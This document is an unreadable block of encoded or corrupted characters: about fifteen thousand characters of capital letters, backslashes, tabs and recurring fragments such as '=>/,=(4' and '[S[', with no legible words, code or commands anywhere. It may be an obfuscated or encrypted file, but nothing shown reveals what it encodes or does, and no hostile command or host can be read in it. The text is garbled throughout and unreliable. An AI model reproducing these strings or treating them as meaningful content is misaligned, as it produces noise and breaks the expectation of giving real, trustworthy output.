TMEOHUTXDOENKUU\\v\T]TXDOENK'[[!U\\\ZZ\\\E#
NMNMTMKMIUTU\\\Q\\\TU\\XDOENK'
JNTNLNEU!\\\\\\@\\\\TMKHNWIDUU\\XLNMKE
\\\\A\	Gv\\\T]XLNMKE
\\\\ZZ\\\]TXDOENK'
JNTNLOLU!U\ZZ\\#JO
TNLOMUTXDOENK'LLIN	TNLOLU!UU\\\v\\\\\\\TXDOENK'
JNTNLOLU!\\\\\\X#U\\\\v\\\T
JNTNLOMUTX#U\\\\ZZ\\LLIN	TMKMIUTU\\\Q\\\\\\TU\\\X#'
JNTNLNEU!\\@\\\\TLWLJNUU\\\v\\\\\XLNMKE
\\\A\\\\\\	Gv\\\\\Gvvvv\v\\\v\\\\\\\vvvv\\\\\\\\\TXLNMKE
U\LLIN	TNLONUT#JO
TNLOOUUGvv\\\T#DIDE	
TEIITUUU\\\\	Gv\DMJ
MKTUGv\\\\\LHN	TEIITUP\E#NDNTUUGv\\\\\\T]ILONTUU\\\\\\v\\


MEILTUGvvvI
K
LMKTUGv\	Gv\\\\vX
JIM\\\\A\\\\\NOLJJTUGvXJ\\A\\Tv\\EIITUPv\\\\\X
JIM\\\R\E#
NMNMTIHHUPv\\\\\UGv\X
HEL\\\\\A\OL
#N#TUGv\\\\\TX
HEL\\\\\XD	HNU\\\\v\\\\\\T<LLIN	TNLOHUTXD	HNUU\XJ'!\\A\\XD	HNGv\\\\\\v\X#HLINDKI\\A\\TUGv\TIJI#L	KOJHTUU\v\XK
HL\\A\ENMIT=>/,=(4\\R\\\\E#
NMNMTNLOIUP\TMKN"MJHUU\R\\\\\E#
NMNMTNLOJUGvX#HLINDKI'LLIN	TNLOKU\R\\=>/,=(4\\\R\E#
NMNMTIJHU!\A\\\XK
HLGv\X#HLINDKI'#JO
TNLODU\R\X
JIM\\\R\E#
NMNMTMHKNU!\\\\\A\\XK
HLGvv\XDHHL\A\LLIN	TNLNLUTE#
NMNMTNLOEUU\\C\\\<LLIN	TNLOEUTLLIN	TNLHLUU\\\\\F\\\Gv\\\\T
JNTNLMDUTXDHHLU\ZZ\\XDHHL\]AA\^^U\\\\\vXL
L
O	\A\\\\\TU\\\#TLLIN	TMHJLUP\\LUGv\\\T]XL
L
O	\\\\\  \\\\\\LLIN	TMKMIUTU\\\\Q\\\\\\XL
L
O	\\\BA\\\\\TMDIDJWJKDMHUU\v\\XN\A\\ENMIT=>/,=(4\R\\\E#
NMNMTMMLMUP\TLNWLJUU\\R\
JNTNLHMUGv\X#HLINDKI'
JNTNLODU\\\R\LLIN	TMENKUT=>/,=(4P\E#
NMNMTNLHNUU\R\\[S[\R\\\\\XDHHL!\A\XNGvX#HLINDKI'
JNTNLHOU\\\R\X
JIM\\\R\\[S[\\\\R\XDHHL!\A\\\\\\XNGvvvv\\v\\\v\XNIIDE	\\A\\OI#HJEKNOOTUGv\\\\T<#JO
TNLOHUTXNIIDE	'M!UU\\X#HLINDKI'E#
NMNMTNLHHU\R\\XNIIDE	'L!!\A\\E#
NMNMTNLHIU\\\\R\XNIIDE	'N!GvXKNLN\\A\\\<#TLLIN	TNLHJUP\\TUUGv\\T]#JO
TNLOMUTXKNLNUU\\\\XKNLN\A\\\\TUGv\X
OMOH\\\A\\Gv\\\TXJ\\\\\\XMIU\\\v\\XO\\\\A\<#JO
TNLHKUTXMIUGv\XJ#E\\\\A\\\XO\\\C\\TXO'
JNTNLHDU!\\R\\[ [\\R\\\\XO'#JO
TNLHEU!U\\F\\[L[Gv\XKEEMI\\A\\\\\TXKNLN'XMI!U\\\\C\\\XKNLN'XMI!\F\\\\^^Gvv\\\\TXJ#E\AAA\\\\\XKEEMIU\\\	Gv\\\\\TE#
NMNMTMEKMUTLLIN	TNLILUP\\XKEEMIP\XOODU\\ZZ\\#JO
TNLIMUTXKEEMIP\\\LP\\\\\Q
JNTNLINUTXOOD'L!UU\AAA\\\XJ#E\\ZZ\\\#JO
TMKMIUTU\\\\Q\\TU\\\XOOD'M!\@\TOINKWKOUU\\	Gvvvv\X
OMOH\\\\A\\\\	GvGv\\\\\\\\v\\T]X
OMOHU\v\\\\\\\\\TX#HLINDKI\\\X\\\\\AB\\XIDMJO#U\\v\\\\\\\\XJ#E\\\\A\\\\O	DETLLIN	TNLIMUTXP\\TMND"MOOUUP\\XIDMJO#UGvv\XKEEMI\A\\\\TXKNLN'X!U\C\XKNLN'X!\\\F\^^Gv\\\\TXJ#E\\AAA\\XKEEMIU\\	Gv\\\\\\TLLIN	TMEKMUT
JNTNLILUP\\XKEEMIP\\\XOODU\\\ZZ\\\\
JNTNLIOUTXKEEMIP\LP\\QE#
NMNMTNLIHUTXOOD'L!UU\AAA\XJ#E\\ZZ\\LLIN	TMKMIUTU\\Q\\\TU\\\XOOD'M!\\\\\@\\\TNKKMKWIDJDOUU\	Gv\\X
OMOH\\\A\	GvGvvvSS\+,\9\.F\\vv\\\\X
	LHMKN#	\\A\\\\\
JNTNLLIUTEIITUP\LLIN	TNLHMUUGv\\XE
N\A\\\\\X
JIM\\\R\\\\\E#
NMNMTMJKNU\R\\\X
	LHMKN#	\\\R\[S[\\\R\X
	LHMKN#	\\R\E#
NMNMTNLHMUGvvXJ	M\\\\\\A\
EJ	NIOTUGvv\\\\\T]<LLIN	TNLIIUTXE
NU\\  \\\\TU\\<
JNTNLLDUTXE
NU\\\@\\THEOMWJEUU\\X
OMOH\A\	Gvv\\\\\\TXJ	M\\\\]AA\^^\\ZZ\]<E#
NMNMTNLIIUTXJ	MUU\\\X
OMOH\\A\\	Gv\\\\\\\\\T]X
OMOH\ZZ\\E#
NMNMTNLNLUT
JNTNLNDUUU\\\vXML
\A\\X
	LHMKN#	\\\\R\[S[\\R\X
	LHMKN#	\\R\\\\#JO
TNLHMUGvX
MO
I\A\#TE#
NMNMTNLIJUP\\TUUGv\\\\T]
JNTNLOMUTX
MO
IU\\  \]
JNTMNHKUTXML
P\\\\X
MO
IP\	UU\\X
OMOH\\\\A\	GvvSS\+,\>?F\	\Qvv\\\\\T]X
OMOHU\\\	Gv\\\\\T]
EKMLTE#
NMNMTNLIKUUU\	Gvv\\\\\\v\\\\\\	LOIIDJHTUGv\#HJODLE		ITUGvvvv\\\\I
K
LMKTUGvOJOL
#TUGvvvMDD
E
ITUGv\\\


MEILTUGvMTUGv\\\\\NKLMOHIHO
OTUGv\\\XIN#	\\A\LO
TUGv\\X
KK
\\\\\A\\#NEOTUGv\\X	LJMMJODH\\\\\A\\\TUGv\\\\\\\\TXJ\\\\\XMIU\\v\X#MJ

IKO\\\\\\A\\\\TXMI\AAA\\X
JIM\\R\\LLIN	TNLIDU\ZZ\\]XIN#	U\\  \\\\T#JO
TNLIOUTXMIP\QTLWLMUU\AAA\\LLIN	TNLIEU\ZZ\]X
KK
UGvXO\\\\\A\<
JNTNLHKUTXMIUGv\\\\\\\\\\\TXOU\vvv\\\\\X	LJMMJODH'XMI!\\A\\\\\XO'E#
NMNMTNLHDU!\\R\\\[ [\R\\XO'#JO
TNLHEU!\\\R\\TX#MJ

IKO\\\C\\\\\LLIN	TNLJLU\\\R\\\
JNTNLJMUTU\\F\\^^UGvv\v\\\\\v\\\\\\\\\\TX#HLINDKI\\\\X\\\\\\AB\\XIDMJO#U\\\\\vSS\+,\(\>\\vv\\\XKDJI#	L\A\\O	DET#JO
TNLJNUTXP\\\TNWOUUP\XIDMJO#UGv\\\\\\TXKDJI#	L\AAA\\\[L[\\\\\  \\
JNTNLJNUTXKDJI#	LP\QNU\AAA\E#
NMNMTNLJOUU\\\\XKDJI#	L\\\\RA\
JNTNLJLU\\\R\\#JO
TNLJHUTUGvvvv\\X	LJMMJODH'X!\A\XKDJI#	LGv\\\\\\v\\\\\\<	#T
JNTNLJIUP\\X	LJMMJODHP\\#JO
TNLJJUUGv\\\\\v\ODOM	ETE#
NMNMTNLIKUUGv\\\\\\v\\\\T(\\\XKU\\vvvvLHMMJKT
JNTNLJKUP\\XKUGv\\\\\\\T9\\\XKU\\v\\vvvvvvv\	\\\O	DETXMIP\XIDMJO#Uvvv\v\\XO\\\A\\\\\\<E#
NMNMTNLHKUTXMIUGv\\\T]XOU\\	\\[L[Gv\XJ#E\A\\XO'E#
NMNMTNLJDU!\R\\[ [\\\R\\\XO'
JNTNLHEU!Gv\\\\TXO'LLIN	TNLJEU!\\B\\\TMLHDHDNWEHUU\\\\\\	\\\#JO
TNLKLU\\R\\\XJ#EGv\\\\X	LNJ\\A\\\\\<#JO
TMEIMUTXMIUGvvv\\\	\XJ#E\\\R\\\[ [\\\R\\\\\TT#JO
TNLMDUTX	LNJU\\ZZ\\\E#
NMNMTMEDDUTX	LNJP\\\XIDMJO#U\]AA\U\\\\C\[M[\\\\F\[L[UGv\\\\\\v\\	\\\
LNETUv\\v\\X#
\A\\
JNTNLNLUT#JO
TNLNDUU\\\C\\\#T#JO
TNLLUP\^^U\F\\\^^Gvvvv\\\
INI

TUGv\\XIJ#	\A\\\E#
NMNMTNLKMUTLLIN	TNLNDUU\C\\\\\#TE#
NMNMTNLLUP\\\^^U\\\\\F\\\\^^Gv\vvv\\\\\\\\TXIJ#	\\AAA\X#
U\<#TLLIN	TNLLUUGvv\\\\\v	\\
INI

TUv\\\\\v\\\\\v\\\\\\T]T
JNTMDOMUUU\\	Gv\\\\\X
JIM\\\A\\NOLJJTUGv\\XLL\\A\\\\\\INELTUGv\\\\\\\\X
EJ\\A\ENMIT=>/,=(4\\R\\\\#JO
TMOHIUP\TMHQJUU\R\\
JNTMOHJUGv\\X	ENK
\A\ENMIT=>/,=(4\R\\\
JNTNLOIUP\\\\TMLQNUU\\\\\\R\
JNTNLKNUGvXLOLM\A\\\\\\ENMIT=>/,=(4\\R\\\\\LLIN	TNLKOUP\\TM@@OUU\\\R\\\\
JNTNLKNUGv\XIOI
	
\\\\A\\\\ENMIT=>/,=(4\R\\E#
NMNMTMHLMUP\THM"OOUU\\R\\\\\\LLIN	TNLKNUGv\XNIHL\A\ENMIT=>/,=(4\R\\
JNTMHMJUP\\\\\TMIQKUU\\R\\\LLIN	TNLKHUGv\X\\\\\A\\\LLIN	TIHDU\R\\ENMIT=>/,=(4\R\\\[[P\\\\TNME"NMMUUGv\\XNOJ#\\\A\\\TvX
JIM\R\#JO
TNLMOU\AB\#JO
TEMIUPv\X
JIM\R\\LLIN	TNLKIU\AB\\#JO
TNLKJUPv\\\\\\UGv\\\\\TXNOJ#\\\\XMI\\\\AB\XU\\v\\\\\\T]<LLIN	TNLIIUTXMIUU\	Gv\\\X	LNJ\\\\\\A\\<
JNTMEIMUTXMIUGvvvv\\TX	LNJ\\AAA\\U\\\	Gv\\X	
L#\\\\A\\\\\E#
NMNMTENLU\\\R\X\\R\\\#JO
TENMU\\\R\\X\\R\\
JNTNLKKUGv\\\\XDNN
\A\\
JNTMEDMUTX	
L#P\\\\^^P\\X	LNJUGv\\\TXDNN
\]AA\X	LNJU\HH#EOMTXMIP\\XDNN
UGvvvv\\vXHLD\A\\X
JIM\\\R\\\\\LLIN	TIHJUGv\\\\\\T<
JNTNLIIUTXHLDUU\vvvvX	MOKI\\A\<
JNTNLKDUTXHLDUGv\\\\\\TLLIN	TNLMDUTX	MOKIU\ZZ\\\X	MOKI\\]AA\\\\\^^U\\v\\\\\\\TLLIN	TNLKEUT#JO
TNLDLUP\\\#JO
TNLDMUTX	MOKIP\\\\LP\\TNNWNKDUUU\  \\\E#
NMNMTMEDDUTX	MOKIP\\
JNTMIIEUU\AAA\\LU\vODLTXHLDP\THNKQKUUGvNN#		TXHLDUGv\\\\\\\v\XKLI\\\A\#JO
TMEDMUT#JO
TNLDNUP\\^^P\X	MOKIUGv\\T
JNTNLMDUTXKLIU\\ZZ\\\\\XKLI\\]AA\\\X	MOKIU\HH#EOMTXHLDP\\XKLIUGv\\	TXKLIUGv\\\\\\v\vSS\Q	vv\\	TX	MOKIUGvvvv\vvvv\\XO#LNOKD\A\\\\#JO
TNLLHUTEIITUU\R\\\LLIN	TMHNUGv\\\\\\X#NKDKMM\A\\\\\T#JO
TNLDOUU\\C\+,#?32(92(#85.\R\\\LLIN	TMHNU\F\\\XO#LNOKDGvv\\\\XIOK#M\A\\\Tv\\\\\X
JIM\\\\\R\\[S[\R\X
EJPv\\X
JIM\\\R\\\[S[\\R\\X	ENK
Pv\X
JIM\\R\\\\[S[\\R\\\XLOLMPvvvXLL\\\R\\\[S[\\\\R\\\\XIOI
	
PvXLL\R\\\\[S[\\R\\XNIHLPvv\XLL\\\R\[S[\\\\\R\\\\\X	ENK
PvXLL\\R\\\[S[\\R\XLOLMPv\\\\\\XO#LNOKD\\\\R\\\\\\[S[\R\\XIOI
	
Pv\\\XO#LNOKD\R\\[S[\\\\\\R\\\\XNIHLPvvvv\\\XO#LNOKD\R\[S[\\\R\\\\X	ENK
Pv\\\\\\\\XO#LNOKD\R\\\\\\[S[\R\XLOLMPv\\\\\X#NKDKMM\R\\[S[\\\\\R\\\XIOI
	
Pv\\X#NKDKMM\\\R\\\\\[S[\\\\R\\XNIHLPvX#NKDKMM\\\R\\\\\[S[\\\\R\\X	ENK
Pv\\\\\\X#NKDKMM\\\R\[S[\\R\\\XLOLMPv\\\\\\\UGv\vv\\\\\X		\\A\OI#HJEKNOOTUGv\\\XIOK#M'!\\A\\\X		'M!GvXIOK#M'!\A\\\X		'M!\R\\
JNTNLDHUGv\\	TX		UGv\\\\\\T#JO
TNLKMUT
JNTNLLJUUU\\\\v\\\\TTU\<LLIN	TNLLJUTX
JIM\\\R\#JO
TNLDIU\R\\\\X
EJU\\\\\XKOU\\\XIOK#M'!\\\A\\\\\XKOGvvv\\\TTU\\<
JNTNLLJUTX
JIM\\\\R\\\\LLIN	TNLDJU\\\\R\\\\X
EJU\\\\\\XKOU\XIOK#M'!\\A\\\\\XKOGvvv\TTU\\\\<#JO
TNLLJUT=>/,=(4\\\R\\#JO
TMJIHU\\\\\\R\\\\X\\R\\\E#
NMNMTOLNUU\\XOE#U\XIOK#M'!\\\\\\A\XOE#Gv\\\\\\\\\TTU\\<
JNTNLDKUTX
JIM\\\\R\\[S[\\\\R\\\\\X\\R\#JO
TOLNUU\\\\\XOE#U\\\\XIOK#M'!\A\\XOE#Gv\\\\\TTU\\\<#JO
TNLDDUTXLL\\R\\[S[\\\\R\\X\\\R\\\#JO
TOLNUU\\\\\\\\\XOE#U\\\\XIOK#M'!\\\\\A\\\XOE#Gv\\TTU\\\<LLIN	TNLDDUTXO#LNOKD\\R\[S[\R\\\\X\\\\\\R\\E#
NMNMTNLDEUU\\\\\XOE#U\\\\\XIOK#M'!\\A\\\\XOE#Gv\\\TTU\\\\\\<
JNTNLDDUTX#NKDKMM\R\\\[S[\\\\R\X\\\\R\\E#
NMNMTNLELUU\\XOE#U\\\XIOK#M'!\A\\\XOE#Gv\\\\vXIOME\A\\\\\ENMIT=>/,=(4\\\\R\\\\\[[P\\\TLOWLIUUGv\\\XLM\\\A\\T=>/,=(4\\R\\E#
NMNMTMJIIUP\\\X
JIMP\\\XLLP\\\\XO#LNOKDP\\X#NKDKMMUGv\\\\\\\\\TXLM\\\\\\X#U\\\\vv\\\\\\T<#JO
TMOEMUTX#U\\\ZZ\<
JNTMEHLUTX#UU\\	OOEHTX#\\R\\\\E#
NMNMTMJIMU\R\XIOMEP\E#NDNTUP\\\\
JNTNLEMUUGvvv\\v\\T
JNTNLENUT
JNTNLEOUUU\\v\\\\TXLM\\\\\X#U\vvv\TT
JNTIHEUP\\\\\\#JO
TNLEHUP\\\E#
NMNMTNLEIUP\#JO
TNLEJUP\#JO
TNLEKUP\\LLIN	TNLEDUP\\LLIN	TNLEEUP\\\
JNTNMLLUP\LLIN	TNMLMUU\\\\\XHU\\\\\v\\\\\\\TTU\\<
JNTNLEOUTX#\\R\\[S[\\\R\\XH\\R\\\\[V[U\\\\\\\XHEU\\\\\\XIOK#M'!\A\XHEGvvvv\\\\vSS\+,\=
\>\\
vvvv\\\\\\\\TTU\\\<#JO
TNLEOUTX#\\\\\R\\\#JO
TNMLNUU\\XI#OK#EU\\\XIOK#M'!\\\\A\XI#OK#EGvvvv\\\v\\\v	TXIOMEP\\XLMP\X#P\XHP\XHEP\XI#OK#EUGvXIHM#M
NI\\\A\\\T=>/,=(4\\\R\\LLIN	TIJHUP\\\X
JIM\\\\\R\\\\
JNTMHKNUUGv\\\\\TXIHM#M
NI\\XODMU\\v\\T]<
JNTNMLOUTXODMUU\\\	Gv\\X	LNJ\\A\\\<
JNTNLKDUTXODMUGvvv\\\TX	LNJ\\ZZ\\
JNTNMLHUTX	LNJP\\
JNTIJIUU\\\\\\]AA\\\\U\v\\\\X	LNJ\\\\A\\
JNTNMLIUTLLIN	TMMIKU\R\\\#JO
TEJOUTX	ENK
P\\\\[S[U\\\\\R\\\\
JNTMMJLUP\\^ ^P\\X	LNJUGv\\\\\T#JO
TNLMDUTX	LNJUU\\v\X	LNJ\A\\
JNTNMLIUT#JO
TMMIEU\\R\\E#
NMNMTEJOUTX	ENK
P\\\\\[S[U\\R\\\\#JO
TMMJLUP\\^ ^P\\\\X	LNJUGv\\vvvv\\T
JNTNLMDUTX	LNJUU\\\\v\\\X	LNJ\\\A\\#JO
TNMLJUT
JNTMMJMU\\\R\\\#JO
TNMLKUTX	ENK
P\[S[U\R\\\\#JO
TNMLDUP\\\\\^ ^P\\X	LNJUGvvSS\\\\+,\>\(vv\\\TLLIN	TNLMDUTX	LNJUU\HH#EOMTXODMP\\\\\\X	LNJUGvv\\\\\\vvvv\\\\\\\XIJHNM\\A\\\\\\=>/,=(4\\R\\
JNTNMLEUGv\\\\T]<LLIN	TNMLOUTXIJHNMUU\v\\\XHK\\A\\\LLIN	TNLLHUT=>/,=(4U\R\\\\\\
JNTNMMLUGv\\\T<#JO
TNMLOUTXHKUU\\\\\XIJHNM\\\A\\\\XHKGvv\\\\v\\\\T<#JO
TNMLOUTXIJHNMU\\\\\ZZ\\<E#
NMNMTNMMMUTXIJHNMUU\\\vv\\\\X#\\\\\\A\<
JNTNMMNUTXIJHNMUGv\\TE#
NMNMTNLMDUTX#U\\\\ZZ\LLIN	TNMLHUTX#P\\E#
NMNMTIKLUU\\\]AA\\U\\vX	D#\\\A\E#
NMNMTNMLJUTLLIN	TNMMOUP\\^^P\X#UGv\\\T
JNTNLMDUTX	D#U\\\\\ZZ\\\\X	D#\\\\\]AA\\X#\\\\\\ZZ\LEIOTX	D#UU\v\\XI#L\\A\\<E#
NMNMTMJIDUTXIJHNMUGv\\THH#EOMTXIJHNMP\\X	D#U\\\ZZ\\\XI#LU\<#JO
TNMMHUTXIJHNMP\\\XI#LUGv\\\\\vv\\\	TX	D#P\\\\XI#LUGv\\vvvv	TX#UGvvvv\\\\v\	TXIJHNMP\\XHKUGv\\\XDHHL\A\\\\#JO
TNLENUTE#
NMNMTNLOEUU\\C\\\<#JO
TNLOEUTE#
NMNMTNLHLUU\\\\\\F\\\Gv\\T]XDHHL\\\\\  \\\XDHHL\\AAA\^^U\\\XDHHL\A\\\
JNTNMMIUGv\\XOI#\\\\A\T=>/,=(4\\R\XDHHLP\\\\\\X
JIM\\\\\R\[S[\\\\\R\XDHHLUGv\\\\TXOI#\\\\\\X
KEJDEU\\\v\\\\\T]<
JNTNMLOUTX
KEJDEUU\	Gv\\\X	LNJ\\\\\A\\<
JNTNMMJUTX
KEJDEUGv\\\\\TX	LNJ\ZZ\LLIN	TNMLHUTX	LNJP\\\\\\LLIN	TIJIUU\\\\]AA\U\\v\X	LNJ\\\\\A\
JNTNMLJUT#JO
TNMMKU\\R\\\\E#
NMNMTNMMDUTXLOLMP\[S[U\R\\
JNTNMMEUP\^^P\X	LNJUGvvv\T
JNTNMNLUTX	LNJUU\\\HH#EOMTX
KEJDEP\X	LNJUGvv\\\\\\vXDLL\\\\A\\Tvv\X
JIM\\\\\R\[S[\R\\\XLOLMPvXLL\\R\\[S[\\R\\XLOLMPv\XO#LNOKD\R\\\[S[\R\XLOLMPv\UGv\\X
	
\A\
JNTNMNMUTXIOK#MP\\\XDLLUGv\\\\\\\\\\\\\\TXDLL\\\X	
HEILU\v\\\\\\T<LLIN	TNMLOUTX	
HEILUU\vODLTX	
HEILP\\\THMDWNUUGvHH#EOMTX	
HEILP\E#
NMNMTNMNNUUGv\\v\\\\\\\\vvv\\TX
	
\\\\X	
HEILU\v\\\\\\\T<#JO
TNMNOUTX	
HEILUU\\\\\v\\\\ODLTX	
HEILP\\TKEOQOKOUUGvvv\NN#		TX	
HEILUGv\\\\\v\v\\\\\TOL
#N#TU\\X	KOLU\\\vSS\\\vv\\\\\\T]<E#
NMNMTNMNOUTX	KOLU\\\\  \]<#JO
TNMMMUTX	KOLUU\	GvX	LNJ\\A\\\\<LLIN	TNMMJUTX	KOLUGvvvv\\\\\\\T#JO
TNMNLUTX	LNJUU\\vX#HN\A\\\\DJEHDLLTX	LNJP\\\LLIN	TNMNHUP\\
JNTNMNIUUGv\\\\\X#HN\\\A\\\\DJEHDLLTX#HNP\\\\#JO
TNMNJUP\\\LLIN	TNMNIUUGv\\\\\\T#JO
TNMNLUTX#HNU\\\\\ZZ\\\\\X#HN\\\]AA\X	LNJU\\\HH#EOMTX	KOLP\\X#HNUGv\\	TX#HNUGvvvv\\v\\\v\\\\\\\\\\T#JO
TNLENUTE#
NMNMTMIDDUU\\\\\\ZZ\\
JNTNMNKUTE#
NMNMTMIELUUU\\vSS\\Q\\5\vv\\\\\X\\\\A\\KOLEMNMTUGv\\\TX\\\]AA\U\\v\\\\XJHD	O\\A\<LLIN	TNMNDUTXP\\[[P\\\\LP\\LUGv\\\\\TXJHD	OU\\v\<
JNTMJLIUTXJHD	OUGvvv\\<LLIN	TMJLNUTXJHD	OUGv\\\\vSS\		\	\Qvv\\\\v\v\\\\\\\T
JNTNMNKUT#JO
TNLMHUUU\\\v\\\\\XJNK\\A\ENMIT=>/,=(4\\\\R\\\\\LLIN	TMIOKUP\TNLO"MEOUUGv\\<#TXJNKUGvXDOENK\\A\\\#JO
TNMNEUT
JNTNLNDUU\C\<#TE#
NMNMTNMOLUP\TUU\\\F\\\TUGvvv\\\\T
JNTNLOMUTXDOENKUU\\\v\\\\\\\\TTXDOENK'[[!UU\\NN#		TXDOENK'[[!UGv\\\\\\TTXDOENK'#JO
TNLOLU!U\ZZ\\\\E#
NMNMTNLOMUTXDOENK'
JNTNMOMU!UU\\vvvv\\\\\\\\TXDOENK'LLIN	TNMOMU!\\\\X#U\\v\\T#JO
TNMONUTX#U\\\\ZZ\\\\TX#'[[!UU\\NN#		TX#'[[!UGvvv\\\v\v\\\<#T
JNTNMOLUUGv\\\\\\\\<#TE#
NMNMTMELMUUGXIMA,4,#52(#1=$S,4,#52(#1=$GXDIAXIMWNKGvvv<#T
JNTMIDMUUGv<#TE#
NMNMTNMOOUUGv\\\<#TE#
NMNMTMINLUUGvvv\\<#TLLIN	TMHIEUUGv\\\\\\<#T
JNTNMOHUUGv<#TE#
NMNMTMHINUUGv	TXDOENKP\\\\X#UGv\\\\\\v\\\\T#JO
TNMNEUTLLIN	TNMOIUUU\vvv\\<#T#JO
TKOJUUGvv\\\<#TLLIN	TMJDOUUGv\<#TKHDNHEDTUUGvv\\v\\\\T
JNTNMOJUT#JO
TKHOUUU\\\vvvv\<##	#TE#
NMNMTNMOKUUGvvvv<##	#TE#
NMNMTNMODUUGv\<##	#T
JKITUUGv\\\\v\\\\\T(\\\\\\XKU\\vvv\\\LHMMJKT
JNTNMOEUP\\XKUGv\\\\\\\\\\T9\XKU\\v\\vSS\<\vvvv\v\\\\\	\\LO
TUvvv\\\XA,4,#52(#1=$S,4,#52(#1=$GXKNIDI	AXWONGv\\\T]TE#
NMNMTMDOMUUU\\\\\\	\Gv\\\\X
JIM\\\\\A\\\\\NOLJJTUGv\XLDL	DO\A\\X
JIM\\\R\\
JNTNLKIUGv\XLN
L\\A\E#
NMNMTNLLIUTEIITUP\\\LLIN	TNMHLUUGvvvv\\\\XKI\\A\\\L	DINOOTUGvv\\\\\\\\\\T]XKI\\\\\\  \\\\
JNTNLIHUTXKIU\\@\\THKIWNIU\  \\\\#JO
TNLIHUTXKIU\\\B\\TLOKOEWLDKU\\\  \\\\\\	HLOLI
TXKIU\\\  \\]LEIOTXKIUU\	\Gv\\X	\\A\\\\<LLIN	TMIMMUTXLDL	DOU\\\\C\\\\<
JNTNMHMUTXLDL	DOU\F\\^^Gv\\\\\\T]LLIN	TNMNLUTX	UU\\\\\\vLHMMJKT
JNTKMEUP\\LLIN	TMHDHUUGv\\\	\\Gv\\\\vSS\+,\4\>F\Q	\	Qvv\X	\\A\#
	TX	UGv\\XH
N
\A\\\\\E#NDNTU\R\\\\\[F[\R\\\ENMIT=>/,=(4\\R\\\LLIN	TNMHNUP\TOWIUUGv\\\\X
	DIHD#\A\\\\\
JNTNMHOU\\R\\XH
N
\\R\\LLIN	TNMHHUGv\\\\XNDLIN\\A\\\\E#
NMNMTNMHIU\\R\\XH
N
\\\R\\#JO
TNMHHUGvvXIDIH	N\\A\ENMIT=>/,=(4\R\\
JNTNMHJUP\TOWIUUGvXL	LIM
\\\\A\\E#
NMNMTNMLJUTE#
NMNMTNMHKU\R\XIDIH	N\\\\R\LLIN	TNMHDUP\^^P\X	UGv\\\XL#OJ\\A\\\\TE#
NMNMTNMHEUTXL	LIM
P\
JNTNMILUU\\]AA\\UGv\\\\\\\\\TE#
NMNMTNMHEUTX	P\\X
	DIHD#U\]AA\\\\\\\\\\ZZ\
JNTNMHEUTX	P\XNDLINU\]AA\\\\\\ZZ\\]XL#OJU\\	\\	Gvv\X	\\\\A\#JO
TNMLJUTLLIN	TNMIMUP\\^^P\\\XL	LIM
UGv\\T]LLIN	TNMINUTX	UU\\\\\vvvvLHMMJKT#JO
TKMEUP\\\E#
NMNMTMJHLUUGv	\\\Gvvv\\\vX#MKLD\\A\JO#	#ETUGvvv\\\\T]X#MKLDU\\	\\\\\Gv\\X	
JO\\A\\\\
JNTNMIOU\R\\\\LLIN	TNLDMUT
JNTMDOIUTXLN
L\\\\\R\TU\\\\MHEHTUUP\LP\\\TMIQKUUGv\XEJLIH
H\\\A\\\\DOE	KTv\\E#
NMNMTKNLUPv\T[##/0);##[P\\\\[##,0);52#>=/9JH##[P\\\[##;)=.8#2=19##[P\\\[##*9./532##[UPv\\\\TXLN
LP\\X#MKLDP\\\\\X	
JOP\\E#NDNTUUvUGv\\\\\\T]XEJLIH
HU\v\\\\\TTU\\#TLLIN	TMJNHUP\\LU\\\\B\\LU\\LHMMJKTE#
NMNMTNMIHUP\\\\
JNTNMIIUUGv\\	\Gv\v\\\X	\\\\A\#
	TX	UGv\XL\A\\#JO
TNMLJUT
JNTMIIHUP\^^P\XEJLIH
HUGvXMJK	\\\A\\\T
JNTNLIHUTX	U\\AAA\\LUGv\\T]XMJK	U\v\\\T]LHDIKTLLIN	TNMIHUUU\\\v\\\LHMMJKT#JO
TNMIHUP\\\
JNTNMIJUUGv	\Gv\v\\\\\\\T]NJ
NK#OETXLDL	DOP\X	UU\v\\LHMMJKT
JNTNMIHUP\\\LLIN	TMIJMUUGv\\\\\\\	\Gvvvv\v\\\\\\\\HLO
NTE#
NMNMTNMIHUUGv\\\\\v\\\T]NJ
NK#OETXLDL	DOP\^^UU\\\\v\\LHMMJKT#JO
TNMIHUP\\E#
NMNMTNMIKUUGv	\\\\\Gv\\\\\v\\v\\XO\A\\\\\O	#NDTX	P\X
	DIHD#\\\\R\\\^ ^\R\\XL\\\R\^ ^\R\\XNDLINUGv\\\\\\\\T]HH#EOMTXLDL	DOP\\\\\XOUU\\\X
INAJMVEGXKLLMAX
INQMIGv	\\\Gvvv\\\v\\\\\\TXMJK	U\\HDIEL#	TXLDL	DOUGvvv\	\\	GXLILIATLDNWLJUGXKEAXLILIYMHGvvv\\\\\\\\\\T(\\\XKU\vLHMMJKTE#
NMNMTNMIHUP\\\XKUGvvv\\\\	\\Gv\\\T9\\XKU\\\\\v	\\Gv\\v\\\\v\\\\	\\\\\OL
#N#TUvv\\\\vv\\XEMM

\A\\TUGvv\T]
JNTNMOJUT#JO
TNMIDUUU\\\	\\\XEMM

Gv\\\\\X\A\\TT#JO
TNMIEUU\C\+,#?32(92(#85.\F\\TTE#
NMNMTMDOMUU\\\C\\\=>/,=(4\\\R\E#
NMNMTDHOU\F\\\^^UU\\R\\\#JO
TNMJLUGv\XOIOLH#\A\\TU\\<#TE#
NMNMTMNIJUP\\\^^UGvvv\\\\\\TXOIOLH#\\]AA\^^U\XEMM

'!\A\\X\R\\\XOIOLH#\R\\\\
JNTNMJMUGv\\X	O\\A\\\\TU\\\\<#T
JNTMNIKUP\\^^UGv\\\\\\\\\\TX	O\\\]AA\\^^\\\ZZ\\\\X	O\\]AA\\\XOIOLH#U\XEMM

'!\A\\X\\R\\\\X	O\R\\\\#JO
TNMJMUGv\\	\\XEMM

Gvvv\\\v	\\\NKTUv\\\\\\v\\\\\\\\\vSS\\\vv\\\\T]TE#
NMNMTMDOMUU\\\\  \\\]LLIN	TNMJNUTLLIN	TNMJOUUU\\	Gv\\\\TOL
#N#TU\\\\XOHU\\v\\XEJEH\\\\\\A\\\INELTU\\R\\\E#
NMNMTNMJHU\\\\\R\\\ENMITXOHP\\TKE"JKUU\\R\\\\LLIN	TNMJIUGv\\\\\\\\T]<
JNTNMJJUTXEJEHUU\	Gv\\T<E#
NMNMTNMJJUTXOHU\\ZZ\\\\\<
JNTNLLDUTXOHU\B\\\\\\LU\\\	GvXKE
DM\A\\<LLIN	TNMHMUTXEJEHUGv\\\\T]#JO
TNMINUTXKE
DMU\\  \\\XKE
DM\\AAA\\^^U\	Gv\THH#EOMTXOHP\\\\XKE
